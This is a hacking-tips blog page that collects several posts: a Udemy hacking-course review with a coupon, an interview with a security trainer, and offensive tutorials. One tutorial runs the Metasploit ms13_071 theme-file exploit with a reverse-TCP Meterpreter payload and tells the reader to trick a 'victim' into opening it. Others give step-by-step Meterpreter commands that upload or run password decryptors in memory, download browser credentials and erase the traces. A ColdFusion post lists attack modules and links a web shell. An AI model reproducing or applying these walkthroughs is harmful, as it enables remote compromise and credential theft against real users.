Learn How To Hack With HackingSchool Training

<div dir="ltr" style="text-align: left;" trbidi="on"><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhDrj8wealzgZ76nW_I6A43lgf9V2FKpbyRmNRSHH1onJqUQtzjDoFsqgTR0uB0ZySDgzY8Ri_7hnbTOhaCc3WhZa0bx8CFQCRf6XaT3ClccVgxAnMTlAYPdnLBslXqFPgQ8DLrBdFRiB0/s1600/75888191_640.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="250" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhDrj8wealzgZ76nW_I6A43lgf9V2FKpbyRmNRSHH1onJqUQtzjDoFsqgTR0uB0ZySDgzY8Ri_7hnbTOhaCc3WhZa0bx8CFQCRf6XaT3ClccVgxAnMTlAYPdnLBslXqFPgQ8DLrBdFRiB0/s400/75888191_640.jpg" width="400" /></a></div><br />Probably most of you have heard about Udemy e-learning platform. Recently I’ve had a pleasure to take a look at <a href="https://www.udemy.com/hacking-school-training-learn-hacking/?%20couponCode=rafaysfriend" rel="nofollow" target="_blank">Hacking School Training</a>, which is an introductory course for anyone that is interested in learning about Ethical hacking and system security. The author does a great job covering wide variety of topics, some of them do require improvements, but overall it's a great one. <a name='more'></a><br /><h4>Course Content</h4>According to the information found on the products page, there are 11 hours of content in 46 lectures containing 19 videos. A brief look at the topics is enough to say, that 11 hours is just the time you need to get through the materials. You’ll absolutely have to make the exercises , presented in the videos, on your own to consolidate the knowledge.<br /><br />I wouldn't expect anyone without at least basic knowledge of Linux, networks and programming to take this course, but the required basic knowledge supplemented with this course will help you understand the principles of computer security and will provide you with solid foundations to become an expert. The course covers a broad range of topics. Even if you already have some practice e.g. in exploiting website vulnerabilities, you’ll be surprised by exploring new topics.<br /><h4>Linux Distro </h4>For those who are less experienced the most important will be the attacks, which every IT security specialist should know. The training is provided with Training Operating System, which is a <b>LiveCD Linux distro</b> armed with special tools, which are necessary to make the exercises. It is a great convenience that you’re already equipped with everything you need to go through the course. Simply install the system on virtual machine and start practicing.<br /><br />Additionally almost all examples are presented in the videos. You’re being guided step by step how to perform an attack, beginning with fingerprinting and making research on a target, through source code compilation (if needed), exploit preparation, tools installation, ending with an attack itself.<br /><br />What’s important is that the mechanisms that are being exploited are every time explained. If you don’t know yet how do networks, memory or processor registers work, you will definitely find this information in explanation of prepared attacks. You’ll find some curiosities like the history of internet as well. Luckily the course doesn’t only focus on easy topics like passwords cracking. It brings up the subjects of buffer and heap overflow attacks, webserver attacks, exploiting system kernel vulnerabilities.<br /><br />All of this is supported with proof of concepts. You’re not only taught how to use the exploits, but also how to write them on your own. Eventually there is a part devoted to securing the system step by step, improving security by installing patches or by using intrusion detection systems.<br /><br />So far this course has been taken by almost 500 users. There is also another course from Hacking School available on Udemy, Website Hacking in Practice, which focuses strictly on website attacks:<br /><br /><h4>Summary</h4>Personally, i feel that course is really good considering it's price i would recommend to any one who would like to get started, the best part is it being a hands on course, however there are some areas of improvements with topics like Buffer, Heap overflows which should have been covered in much detail. Also, i really liked the last part where the author explains about certain insecurities in webservers and how you should harden it.<br /><br /> <iframe allowfullscreen="" frameborder="0" height="300" mozallowfullscreen="" src="//player.vimeo.com/video/13267082" webkitallowfullscreen="" width="577"></iframe><br /><h4>30% Discount Coupon</h4>For RHA readers, Andrew was kind enough to offer a 30% discount coupon to anyone that takes this course, Here’s the coupon code: <b><u>rafaysfriend</u></b><br /><br />To learn more about course curriculum and every thing else, <a href="https://www.udemy.com/hacking-school-training-learn-hacking/?%20couponCode=rafaysfriend" rel="nofollow" target="_blank"><b>Click Here</b></a><br /><b><u><br /></u></b><b><u>P.S. If you click on a link presented above, the coupon code should automatically be applied.</u></b><br /><br /></div>

Learn How To Hack With HackingSchool Training

Probably most of you have heard about Udemy e-learning platform. Recently I’ve had a pleasure to take a look at Hacking School Training , wh...

+ Read more »

Hack local network PC using windows theam file.

<div dir="ltr" style="text-align: left;" trbidi="on">This module exploits a vulnerability mainly affecting Microsoft <br />Windows XP and Windows 2003. The vulnerability exists in the <br />handling of the Screen Saver path, in the [boot] section. An <br />arbitrary path can be used as screen saver, including a remote SMB <br />resource, which allows for remote code execution when a malicious <br />.theme file is opened, and the "Screen Saver" tab is viewed. The <br />code execution is also triggered if the victim installs the <br />malicious theme and stays away from the computer, when Windows tries <br />to display the screensaver.<br /><br />Available targets:<br />  Id  Name<br />  --  ----<br />  0   Windows XP SP3 / Windows 2003 SP2<br /><br /><br />msf > use exploit/windows/fileformat/ms13_071_theme<br />msf exploit(ms13_071_theme) > set srvhost 192.168.56.1<br />srvhost => 192.168.56.1<br />msf exploit(ms13_071_theme) > set payload windows/meterpreter/reverse_tcp<br />payload => windows/meterpreter/reverse_tcp<br />msf exploit(ms13_071_theme) > set lhost 192.168.56.1<br />lhost => 192.168.56.1<br />msf exploit(ms13_071_theme) > run<br />[*] Exploit running as background job.<br /><br />[*] Started reverse handler on 192.168.56.1:4444 <br />msf exploit(ms13_071_theme) > [*] Generating our malicious executable...<br />[*] Creating 'msf.theme' file ...<br />[+] msf.theme stored at /root/.msf4/local/msf.theme<br />[+] Let your victim open msf.theme<br />[*] Ready to deliver your payload on \\192.168.56.1\qggdxi\vleGT.scr<br />[*] Server started.<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi1AhO3zbfNAUJ-FqMFg3Rb08oP3IsnAsPrx4nUCZObq0mPm_uNgh8dhxXatWIS2c88mfVaRNsteIda-IR61CAgCgLt8yKLm4YK3PTtUk6Kik6op1KNQecLTxRsNAZHtABRexEDdYclEDwO/s1600/xp-hack.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="windows-xp-infected-theam-file" border="0" height="192" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi1AhO3zbfNAUJ-FqMFg3Rb08oP3IsnAsPrx4nUCZObq0mPm_uNgh8dhxXatWIS2c88mfVaRNsteIda-IR61CAgCgLt8yKLm4YK3PTtUk6Kik6op1KNQecLTxRsNAZHtABRexEDdYclEDwO/s320/xp-hack.PNG" title="windows-xp-infected-theam-file" width="320" /></a></div><br /><a name='more'></a><br />Then send your generated theam file to victim using \\192.168.56.1\qggdxi\vleGT.scr link ;he should open it through using smb. So tell him to put this link to run .<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhZ7hzoDCQVe-OyzaLjei9GG6pIt_V-nDPJ73RtJezDpt8uFD-8g3EtUASg3eHr7BhsPxL_0Mn49X5fZ-FcY2xUxBMknNn0UcAIzTxtgHjykJA4JEIaHefWLEOL42cYQlckj-WHK8NaT3Jg/s1600/send.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="windows-xp-infected-theam-file" border="0" height="198" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhZ7hzoDCQVe-OyzaLjei9GG6pIt_V-nDPJ73RtJezDpt8uFD-8g3EtUASg3eHr7BhsPxL_0Mn49X5fZ-FcY2xUxBMknNn0UcAIzTxtgHjykJA4JEIaHefWLEOL42cYQlckj-WHK8NaT3Jg/s320/send.PNG" title="windows-xp-infected-theam-file" width="320" /></a></div><br />As soon as he open file you will get session.<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjI0g7CNT8sNtj5Wm0pfkCsAfql7Yp73KpekGluXmR84GhWVU3vVS-UtiKckXi5kARsW5yV1htbFX8MPUxhcEWRFrEd9AwEJ2J7-CXsXqWWmwUoW3x6AqKgZ9YjpNfHWVsbCwHIZlvf3Kfu/s1600/session.bmp" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="windows-xp-infected-theam-file" border="0" height="79" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjI0g7CNT8sNtj5Wm0pfkCsAfql7Yp73KpekGluXmR84GhWVU3vVS-UtiKckXi5kARsW5yV1htbFX8MPUxhcEWRFrEd9AwEJ2J7-CXsXqWWmwUoW3x6AqKgZ9YjpNfHWVsbCwHIZlvf3Kfu/s320/session.bmp" title="windows-xp-infected-theam-file" width="320" /></a></div><br /><br /></div>

Hack local network PC using windows theam file.

This module exploits a vulnerability mainly affecting Microsoft Windows XP and Windows 2003. The vulnerability exists in the handling of the...

+ Read more »

Extract & decrypt Chrome & IE passwords from Remote PC

<div dir="ltr" style="text-align: left;" trbidi="on">In <a href="http://tipstrickshack.blogspot.com/2013/09/extract-decrypt-passwords-from-firefox.html" target="_blank">previous post</a> i mentioned how we can extract saved passwords from firefox & thunderbird from rempote PC. Today we are going to extract saved passwords from Google chrome & IE. If you want to know more technical detail you can visit this <a href="http://insecurety.net/?p=299" target="_blank">site</a>.<br /><br />Chrome stores all the sign-on secrets into the internal database file called 'Web data' in the current user profile folder. Newer version has moved the login passwords related database into new file named 'Login Data'.  DPAPI encrypts data based on either the DPAPI_SYSTEM values stored in LSA secrets or the user’s password, you can’t copy the database file to another machine and decrypt without using special tools as we did in case of mozilla.<br /><br /><br />First download tool ChromePasswordDecryptor from <a href="http://securityxploded.com/download.php#chromepassworddecryptor" target="_blank">here </a>.<br /><br />Installed it in windows.We are only interested in windows binary which is located on C:\Program Files\SecurityXploded . So from that directory copy binary ChromePasswordDecryptor.exe to our main OS(Backtrack).<br /><br />We are going to use two method to extract saved passwords from browser.<br /><br />(A)In this method we are going to upload our binary to victim pc using meterpreter shell & then we execute it.<br /><br />(1)Get meterpreter shell.<br /><br />(2)Upload ChromePasswordDecryptor.exe (Which we copy into Backtract from windows) to victim.<br /><br />(3)Execute it from shell using following command.<br />    ChromePasswordDecryptor.exe "pwd.txt"<br /><br /><a name='more'></a><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgXE2nJmf4ZpeM6-tdcYawOXNCU6XgfITtOM9LToX4azTpiUfEdIHr84rtOKoF8RmHBrCxR8UfaxRAQcCS0SPDHcl9wSNFa46Z40pmqvvTANIBSshFlkhpg-fSaOsRpooL919OpCJOEJ-jV/s1600/chrome-1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgXE2nJmf4ZpeM6-tdcYawOXNCU6XgfITtOM9LToX4azTpiUfEdIHr84rtOKoF8RmHBrCxR8UfaxRAQcCS0SPDHcl9wSNFa46Z40pmqvvTANIBSshFlkhpg-fSaOsRpooL919OpCJOEJ-jV/s1600/chrome-1.png" /></a></div><br />(4)Download pwd.txt<br />    download pwd.txt /root<br /><br />(5)Remove pwd.txt from victim & also remove uploaded binary<br /><br />    rm ChromePasswordDecryptor.exe<br />    rm pwd.txt <br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjoZtSaFh1gF61GwGoqjljH0PnFcbD0405z2FZ1USDSBFsuxc8WONf3g5aH-YPik3svjl7kTdJba9_Qfaw1F1r03wLJJynN0YAyBWRyli1QGaR8Z8HEHu1vp4wQEGQRoOj4ZxeVCGmp51NR/s1600/chrome-2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjoZtSaFh1gF61GwGoqjljH0PnFcbD0405z2FZ1USDSBFsuxc8WONf3g5aH-YPik3svjl7kTdJba9_Qfaw1F1r03wLJJynN0YAyBWRyli1QGaR8Z8HEHu1vp4wQEGQRoOj4ZxeVCGmp51NR/s1600/chrome-2.png" /></a></div><div class="separator" style="clear: both; text-align: center;"></div><br /><br />(B)In this method we are going to execute it in memory ; so we do not have to upload it to victim ; but we need system priv for this method.<br /><br />(1)Get meterpreter shell<br /><br />(2)Get system priv.<br /><br />(3)Change directory to C://windows\system32<br /><br />(4)Execute it in memory using following command<br />execute -H -m -d calc.exe -f ChromePasswordDecryptor.exe -a "pwds.txt"<br /><br />(5)download pwds.txt<br />    download pwds.txt /root<br /><br />(6)Remove pwds.txt from victim<br />    rm pwds.txt<br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgO9CTgAPMO3rdHY7K436mtMeKLzpwn11unWKF7AnGRD6eldiSDgUjs4TOLrUwD9H63M1wFuHL3C8CkaeGFcj4945ywMyVTRxRXjM0h_RivMcMPCs8oYc_8D23mGjx00ToSn6AMbsGAm6LL/s1600/chrome-in-memory.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="276" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgO9CTgAPMO3rdHY7K436mtMeKLzpwn11unWKF7AnGRD6eldiSDgUjs4TOLrUwD9H63M1wFuHL3C8CkaeGFcj4945ywMyVTRxRXjM0h_RivMcMPCs8oYc_8D23mGjx00ToSn6AMbsGAm6LL/s400/chrome-in-memory.png" width="400" /></a></div><br />You can also used same method for IE also.Download file from <a href="http://securityxploded.com/download.php#iepassworddecryptor" target="_blank">here .</a><br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjsqb4nOXQZQ64DAiSdVKi1e2evaUYqrpQmoFVaKCGYbL2utTGWzeOM9zH0ZCBSAdO2Vu9WGiapC2vzYSO0_sb5j4uXyM_oFhSPJnSJawrtUrkQRifGfD9WKvEpnfRiQedRP4THsIXH0H93/s1600/ie-in-memory.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="275" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjsqb4nOXQZQ64DAiSdVKi1e2evaUYqrpQmoFVaKCGYbL2utTGWzeOM9zH0ZCBSAdO2Vu9WGiapC2vzYSO0_sb5j4uXyM_oFhSPJnSJawrtUrkQRifGfD9WKvEpnfRiQedRP4THsIXH0H93/s400/ie-in-memory.png" width="400" /></a></div></div>

Extract & decrypt Chrome & IE passwords from Remote PC

In previous post i mentioned how we can extract saved passwords from firefox & thunderbird from rempote PC. Today we are going to extra...

+ Read more »

Extract & decrypt passwords from Firefox & Thunderbird.

<div dir="ltr" style="text-align: left;" trbidi="on">Today we are going to extract password from Fireox & Thunderbird which are saved in browser and then try to decrypt that passwords from remote PC. Before some times ; i posted <a href="http://tipstrickshack.blogspot.com/2013/08/extract-skype-firefox-data-after.html" target="_blank">here</a> that how to extract information from saved sqlite database of skype, firefox, chrome using python script.<br /><br />Most of the morden browser save information in sqlite format. When user enter login information ; firefox asked user to remember password.If user click on remember password then this passwords are saved into firefox database in signons.sqlite. But passwords are encrypted. so just by downloading signons.sqlite we can not extract passwords from it. Signons.sqlite is useless without the key3.db file, which also resides in the profile folder of your application. Passwords in the signons.sqlite file is encrypted with TripleDES in CBC mode. The key used for the encryption is saved in key3.db and encrypted as well.<br /><br />Firefox Database path in windows:-<br /><br />[Windows XP]<br />C:\Documents and Settings\<user_name>\Application Data\Mozilla\Firefox\<random_name>.default<br /><br />[Windows Vista & Windows 7]<br />C:\Users\<user_name>\AppData\Roaming\Mozilla\Firefox\<random_name>.default<br /><br />Firefox Database path in linux <br />/root/.Mozilla/Firefox/Profile/<random_name>.default<br /><br />First we have to get meterpreter shell using any known vulnerability or using any <a href="http://tipstrickshack.blogspot.com/search/label/metasploit/" target="_blank">metasploit method</a>.<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiJnVAIGEKi9KZdIAO4gi6A3KvIE7akdyrfc3chqKYXbvGaAylwAfA16uKnpPvJm1SPgin__J94INdLNwu6iL-VEEztog-BFO4jXCCU91Wah-OzbJfQRX1-IHe4XgMe1vDrzeW98xN3np7K/s1600/directory.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="download_creds" border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiJnVAIGEKi9KZdIAO4gi6A3KvIE7akdyrfc3chqKYXbvGaAylwAfA16uKnpPvJm1SPgin__J94INdLNwu6iL-VEEztog-BFO4jXCCU91Wah-OzbJfQRX1-IHe4XgMe1vDrzeW98xN3np7K/s1600/directory.PNG" title="download_creds" /></a></div><br />Then we have to download three files from remote PC which are key3.db,signons.sqlite;cert8.db.You can use metasploit post module (use post/multi/gather/firefox_creds)for downloading this file or you can also download manually by browsing directory. <br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgmfJzH48P6SQEUcFNBwZ53ZE7X7XTF5DJFNAdOhRQdAyB5MTv6Q03bnZjPDLvj0C_PoTg2Flg2JCqeEgrSnXN0vzQ2XundpUqFyS2slDrUt3dLvtEEOLrup1yV6yOkjefz8G7s9JFYKxb7/s1600/download.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="download_creds" border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgmfJzH48P6SQEUcFNBwZ53ZE7X7XTF5DJFNAdOhRQdAyB5MTv6Q03bnZjPDLvj0C_PoTg2Flg2JCqeEgrSnXN0vzQ2XundpUqFyS2slDrUt3dLvtEEOLrup1yV6yOkjefz8G7s9JFYKxb7/s1600/download.PNG" title="download_creds" /></a></div><br /><a name='more'></a><br />Now we have database file as well as encryption key in key3.db. So now we have to decrypt it. I can not find any third party software to decrypt this passwords for linux platform.But i found one software which is working very well in windows.Download software from <a href="http://securityxploded.com/download.php#thunderbirdpassdecryptor" target="_blank">here</a> . (It will work for both Firefox & thunderbird)<br /><br />(1)copy key3.db,signons.sqlite;cert8.db files in some folder which can be browse from windows.<br /><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj9c7ZpsLEwwvhd7Tf7ZIw2NXex50bHbDdNM9UKsO-b5pW5qc6cI-NKPNdTb6jhMeFGva9xL_SWBfCJMqMP8CDjxp4NDBIHf3rEntla8zoZf3nJD8za1hB8j_PHnDDVZ3L9bTrzjdWoS3zc/s1600/firefox_folder.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="mozilla_creds_decryption" border="0" height="156" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj9c7ZpsLEwwvhd7Tf7ZIw2NXex50bHbDdNM9UKsO-b5pW5qc6cI-NKPNdTb6jhMeFGva9xL_SWBfCJMqMP8CDjxp4NDBIHf3rEntla8zoZf3nJD8za1hB8j_PHnDDVZ3L9bTrzjdWoS3zc/s320/firefox_folder.PNG" title="mozilla_creds_decryption" width="320" /></a></div><br /><br />(2)Open windows.<br />(3)Install that software.<br />(4)Open it and Just specify firefox installed path & specify folder in which we copied downloaded file.<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhvXq2wdKNk_aJNvAUohJQ3PCWYTeIf3pfm2EXusr395DtZ0J3zbX_oQStVeOjYTOMwSqOjdvJFzAWax4ox3KXXzxMufI7GX9SuTq7UksgnkUWoYnVv9ThDjB2-_E8P1-b2rMpmDpwsaIMM/s1600/password_decrypter.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="272" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhvXq2wdKNk_aJNvAUohJQ3PCWYTeIf3pfm2EXusr395DtZ0J3zbX_oQStVeOjYTOMwSqOjdvJFzAWax4ox3KXXzxMufI7GX9SuTq7UksgnkUWoYnVv9ThDjB2-_E8P1-b2rMpmDpwsaIMM/s320/password_decrypter.PNG" width="320" /></a></div><br />(5)click on Start recovery button.<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgOTbhRqfck_WoDOQ2a38aSdEHKGlY1-c3djqcFd4ClywaXTeQ0cX3WqdJPxF0Iv8qDfavjHA9xVpkeax8EP3PLTdyeZ1H68shyiF7I2sLsArd75_YyUgOjNpLyYHAMinXO2BsbeXHfy6de/s1600/firefox_cred.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="decrypted_firefox_creds" border="0" height="276" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgOTbhRqfck_WoDOQ2a38aSdEHKGlY1-c3djqcFd4ClywaXTeQ0cX3WqdJPxF0Iv8qDfavjHA9xVpkeax8EP3PLTdyeZ1H68shyiF7I2sLsArd75_YyUgOjNpLyYHAMinXO2BsbeXHfy6de/s320/firefox_cred.PNG" title="decrypted_firefox_creds" width="320" /> </a></div><div class="separator" style="clear: both; text-align: center;"><br /></div>Fireox & thunderbird use same encryption technique. So you can also get thunderbird password from above mention method. Just download key3.db,signons.sqlite;cert8.db files from thunderbird folder whose path are as follow<br /><br />[Windows XP]<br />C:\Documents and Settings\<user_name>\Application Data\Thunderbird\Profiles\<random_name>.default<br /><br />[Windows Vista & Windows 7]<br />C:\Users\<user_name>\AppData\Roaming\Thunderbird\Profiles\<random_name>.default<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjWkzUd-iBAr0nsHmACzx7-87AfPHJx1p7d8yFEV9bUOrQUX1VUeX3BtXNZCXWLNtpy9MbLaF79o3vHtJ3yv39z51NOUMlTqFWusJc8bAjF2mpbikOvkx7O56T_zVN0yST4UsmBIEYF8iCn/s1600/thunderbird_pwd.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="decryption_thunderbird_creds" border="0" height="251" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjWkzUd-iBAr0nsHmACzx7-87AfPHJx1p7d8yFEV9bUOrQUX1VUeX3BtXNZCXWLNtpy9MbLaF79o3vHtJ3yv39z51NOUMlTqFWusJc8bAjF2mpbikOvkx7O56T_zVN0yST4UsmBIEYF8iCn/s320/thunderbird_pwd.PNG" title="decryption_thunderbird_creds" width="320" /></a></div>What is solution?<br /><br />If you set master password for firefox & thunderbird then without master password ; saved passwords can not be decrypted.</div>

Extract & decrypt passwords from Firefox & Thunderbird.

Today we are going to extract password from Fireox & Thunderbird which are saved in browser and then try to decrypt that passwords from ...

+ Read more »

An Interview With A Hacker [Shahin Ramezany]

<div dir="ltr" style="text-align: left;" trbidi="on"><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgLrRChgjEa5_F3AxlUfSlps0rLi3V-7hzkFFSYzAj4EWp_s8S1g1k9wjoPQ48YJRng3n_uH7JtU-VfTGTCryGzagr-oLkMGmSnTW_8eRYurxWVUEfgsx-3eWtAzhQuh8SaL7iA4sAuwmA/s1600/763a8bcdde9126867bc958bdcb197593.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img src="https://training.zdresearch.com/wp-content/uploads/2013/07/me.jpg" /></a></div><b>Shahin Ramezany</b> is a computer security researcher with over 7 years of experience in computer security, where he specializes in web application penetration, reverse-engineering/exploit-development and network penetration. Over the years he has disclosed many security vulnerabilities and authored several exploits for popular web/desktop applications.<br /><br /><b>Shahin</b> is best known for his work on month of Abysssec undisclosed bugs (with Abysssec team), publishing 0day/1day reliable exploit codes for popular softwares, as well as finding and reporting issues in popular web sites such as Yahoo! , Microsoft, OWNcloud , Adobe , Mozilla, and so on. Shahin is also an expert Python developer and likes to automate hacking tasks via programming. His current interests are new web hacking methods, rapid code auditing techniques and security mitigation bypasses<br /><a name='more'></a><br /><b>Now a days, we have seen bug bounty hunting at the peak and XSS being low hanging fruit is found any where and lots of people i have seen is they are just injecting random payloads in POST/GET Input without knowing how XSS actually works. What do you think about them, also what according to you is the future of bug bounty hunting? </b><br /><br /><i>Well , from my point of view the idea of bug bounty is cool but in most bounty programs payment is cheap for experts and in most cases credit is first motivation for those (who know what they are doing) . and about those who are doing brute force (using scanners , sending random payloads and checking reflection) they can find vulnerabilities too, because big companies have a lot of not talented (in security) developers but bounty programs will kill these kind of bounty hunters and vulnerabilities soon and about future of bounty programs i just can say if they pay well they can except to kill some serious 0days otherwise it won't work as it title. </i><br /><i><br /></i><b>Why do you think that your courses stand out from the rest of the training and certification programs? </b><br /><br /><i>Most of the courses in the field are though by security experts (aka defenders), who have spent a lifetime fixing and patching stuff and have only had minimal hacking experience (because its mostly illegal), but our courses are fundamentally offensive, even the theories we provide are biased towards offense and not defense.</i><br /><i><br /></i><i>On top of that, we have the collective experience of some of the world's most famous security researchers and the training are backed up by a company which has a lot of people actually doing penetrations and researching vulnerabilities.</i><br /><i>To sum it up, its not a sit-get-certified program, its a tough thing with a lot of labs that makes you much more confident as a hacker.</i><br /><b><br /></b><b>Do you think are certifications really worth the knowledge/money? </b><br /><i><br /></i><span style="font-weight: normal;"><i>From the creators perspective, they are actually very cheap. The amount of labs that are virtually served and thoroughly prepared for these courses, is tremendous. The money is not even paying for that, and we're using a considerable open source community to push the thing forward.<br />From the students perspective, the material you learn in a course is directly correlated with the people who teach them.<br /><br />Everybody can take a peek at OWASP Top 10, and then go ahead teaching how to use and defend them, but people who have spent years creating the Top 10 list, and have had millions of discussions on what to put where, definitely know all the roots to those.</i></span><br /><b><br /></b><b>How you will support your students? </b><br /><br /><i>We have staff who will read all questions and feedbacks, classify them and forward them to the instructors for answers. In case some questions are out of the scope, the staff will do a brief research and guide the student in the right direction.</i><br /><i><br /></i><i>But the most important step is real-life scenario-based labs, which mimic actual hacking scenarios and are not classroom labs. These boost students confidence and have considerable details embedded in them.<b><br /></b></i><br /><b>How about your certification ? </b><br /><br /><i>We are a new firm, but we are of the highest quality (check some of our sample reports), and the people we have gathered here working together are the best in their respective fields. Our certificates will soon be of very high standings. On top of that we are willing to hire most of the students that successfully pass our courses!</i><br /><b><br /> What are your main courses ? </b><br /><i><br /></i><i>Our focus is on application security. It can be divided into web application security - which is much more unpredictable and vast - and binary application security. For web application security, we have our advanced web hacking (flagship) course, and our penetration testing course covers some of the aspects. For binary application security, we have reverse engineering courses focuses on hacking and security, and exploit development which is a tad bit more advanced.</i><br /><i>If our audience requires it, we will provide defensive courses as well as more focused courses such as cryptography.</i><br /><b><br /></b><b> What about your prices?</b><br /><br /><i>Because this is our initial run, our prices are not too high. Our plans are to double them by the next run. To make the courses more affordable to students, we are providing discounts for early registrations. The prices are carefully prepared, for example a price of one thousand dollars for a course with more than 1000 pages of lectures, many hours of video and more than 20 full labs available on separate machines for each student, is pretty economical.</i><br /><i><br /></i><b> What is your material delivery? </b><br /><b><br /></b><i>We are proud to say that we have prepared our material delivery for every taste! We have a survey as part of the registration that asks students to rank their experiences. Currently we support live classes (instructors teaching directly), online classes (video and lectures recorded and playable online), and downloadable classes (download watermarked lectures and videos per student), and we can provide a mixture of them.<br /><br /> </i><br /><i>Our labs are primarily online on a cloud and each student has his/her own separate system to meddle with, and reset to factory setting if necessary.</i><br /><i><br /></i><b>Last but not least, What do you think about RHA? </b><br /><br /><i>About RHA i think you have great resources for beginners and you can think about some expert sections in future.</i><br /><br /><b><u>To see a complete list of trainings by Zdresearch team, Please visit the following URL:</u></b><br /><b><u><br /></u></b><b><u><a href="http://training.zdresearch.com/" rel="nofollow" target="_blank">http://training.zdresearch.com</a></u></b><br /> <div class="separator" style="clear: both; text-align: center;"><a href="https://training.zdresearch.com/" rel="nofollow" target="_blank"><img src="http://training.zdresearch.com/files/ads/ads_01.jpg" /></a></div></div>

An Interview With A Hacker [Shahin Ramezany]

Shahin Ramezany is a computer security researcher with over 7 years of experience in computer security, where he specializes in web applica...

+ Read more »

Pentesting of coldfusion web-application.

<div dir="ltr" style="text-align: left;" trbidi="on">ColdFusion is a commercial rapid web application development platform.<br /><b>CFML = ColdFusion Markup Language</b><br /><br />ColdFusion = Adobe’s product that handles CFML page/libs<br />– Runs on Windows, Solaris, HP/UX and Linux<br />– Apache, IIS, Jrun<br />   <br />Following modules are Available in metasploit for coldfusion.<br /><br />msf > search coldfusion<br /><br /><b>auxiliary/gather/coldfusion_pwd_props              <br />auxiliary/scanner/coldfusion_rds_check                                          <br />auxiliary/scanner/http/cold_fusion_version                              <br />auxiliary/scanner/http/coldfusion_locale_traversal                  <br />exploit/windows/http/coldfusion_fckeditor      </b><br /><br />Following documents are available for pentesting of coldfusion web-application<br /><br /><a href="http://www.carnal0wnage.com/papers/LARES-ColdFusion.pdf" target="_blank">ColdFusion for Penetration Testers</a><br /><br /><div class="firstHeading" id="firstHeading" style="text-align: left;"><a href="http://www.blackhatlibrary.net/Coldfusion_hacking" target="_blank">Coldfusion hacking</a></div><br /><a href="http://www.securiteam.com/tools/5ZP0B00FPG.html" target="_blank">ColdFusion Web Shell</a><br /><br />If you have good document available for pentesting of coldfusion web-application ; please let me know. We will add it.</div>

Pentesting of coldfusion web-application.

ColdFusion is a commercial rapid web application development platform. CFML = ColdFusion Markup Language ColdFusion = Adobe’s product that h...

+ Read more »

Exploit for IE 9 on Windows 7 SP1

